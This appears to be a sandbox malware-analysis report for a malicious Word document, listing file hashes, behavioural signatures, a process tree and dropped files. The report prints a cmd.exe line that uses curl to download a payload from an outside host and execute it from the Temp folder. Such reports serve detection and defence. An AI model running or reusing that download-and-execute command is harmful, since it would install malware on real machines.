37bf0cb7a0ba17f159bc35d82c3f9182c58254cebf7ee830a4eb489ea1f1a557

General

Target

150237519-24.docx
Size

35KB
MD5

caaebdc13817fd92ef517549a73cb408
SHA1

773676e81c562f35fbadd81779ffe917928d9412
SHA256

37bf0cb7a0ba17f159bc35d82c3f9182c58254cebf7ee830a4eb489ea1f1a557
SHA512

63405c1ade718e186eaef47bb75204e75e395da21d2b565209a47bc28ca97ef183c5da5d43dc0e1a97167f1eca329a417346393603ed8c2275f734c9171e2d52
SSDEEP

768:1oAB8Y59isUKZRcaVoLP8cGVUHRmGQs3Q:1HB8YDtBxoWVUHRIMQ

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	972	2144	verclsid.exe	29

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\{0346D995-E8A9-4202-8D8E-C2A21A54E86C}\1266508.zip:Zone.Identifier	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2144	WINWORD.EXE
2144	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 1852	2144	WINWORD.EXE	93
PID 2144 wrote to memory of 1852	2144	WINWORD.EXE	93
PID 2144 wrote to memory of 972	2144	WINWORD.EXE	94
PID 2144 wrote to memory of 972	2144	WINWORD.EXE	94
PID 4056 wrote to memory of 5048	4056	cmd.exe	98
PID 4056 wrote to memory of 5048	4056	cmd.exe	98
PID 5048 wrote to memory of 1308	5048	cmd.exe	99
PID 5048 wrote to memory of 1308	5048	cmd.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\150237519-24.docx" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1852
- C:\Windows\system32\verclsid.exe
  "C:\Windows\system32\verclsid.exe" /S /C {E88DCCE0-B7B3-11D1-A9F0-00AA0060FA31} /I {00000112-0000-0000-C000-000000000046} /X 0x5
  2⤵
  - Process spawned unexpected child process
  PID:972

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2984

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "for /f %i in ('curl -JOsw %{filename_effective} --output-dir C:\Users\Admin\AppData\Local\Temp https://mamore.live/MSP951L') do set L=%i&cmd /c start /B C:\Users\Admin\AppData\Local\Temp\%L%"
1⤵
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -JOsw %{filename_effective} --output-dir C:\Users\Admin\AppData\Local\Temp https://mamore.live/MSP951L
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\system32\curl.exe
    curl -JOsw %{filename_effective} --output-dir C:\Users\Admin\AppData\Local\Temp https://mamore.live/MSP951L
    3⤵
    PID:1308

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\107C8495.emf

Filesize
5KB

MD5
b2f1d858ea270975929657d05ed78b34

SHA1
20c869ae14094cda8258fefc00711b6627c4e2a9

SHA256
023fe4ba4251320e0aeb0391dbd0bc993150442adfd09ecb90880d0d016d1d73

SHA512
ffc7a0d43d11c355eb05ea9e3fe50a7f4fa3de2fe17e805267c41ed2933702489efba8979b180bdd64e53fab2555aa594b14ad6b2c4b039f3e43e7cbbf452e4c

Download Submit
C:\Users\Admin\AppData\Local\Temp\{0346D995-E8A9-4202-8D8E-C2A21A54E86C}\1266508.zip

Filesize
918B

MD5
ead792fe7a404087d29fffd98ccdc3c1

SHA1
4ae4da49802a32bc9ac63ced424729f5f50203a1

SHA256
90a3889672bc1aae27e9d1b56f54cd7a6b5d4919ea125107416e312719b95ffe

SHA512
efecf35e615861b0329778ba37193196b2c489c785d5100ee9d8709926634b65502b5b21287c4646ab2b05a07b7e78f9defa0495038d53aadfd98cb14912d889

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/2144-133-0x00007FF7E3BB0000-0x00007FF7E3BC0000-memory.dmp

Filesize
64KB

Download
memory/2144-134-0x00007FF7E3BB0000-0x00007FF7E3BC0000-memory.dmp

Filesize
64KB

Download
memory/2144-135-0x00007FF7E3BB0000-0x00007FF7E3BC0000-memory.dmp

Filesize
64KB

Download
memory/2144-136-0x00007FF7E3BB0000-0x00007FF7E3BC0000-memory.dmp

Filesize
64KB

Download
memory/2144-137-0x00007FF7E3BB0000-0x00007FF7E3BC0000-memory.dmp

Filesize
64KB

Download
memory/2144-138-0x00007FF7E1AC0000-0x00007FF7E1AD0000-memory.dmp

Filesize
64KB

Download
memory/2144-139-0x00007FF7E1AC0000-0x00007FF7E1AD0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads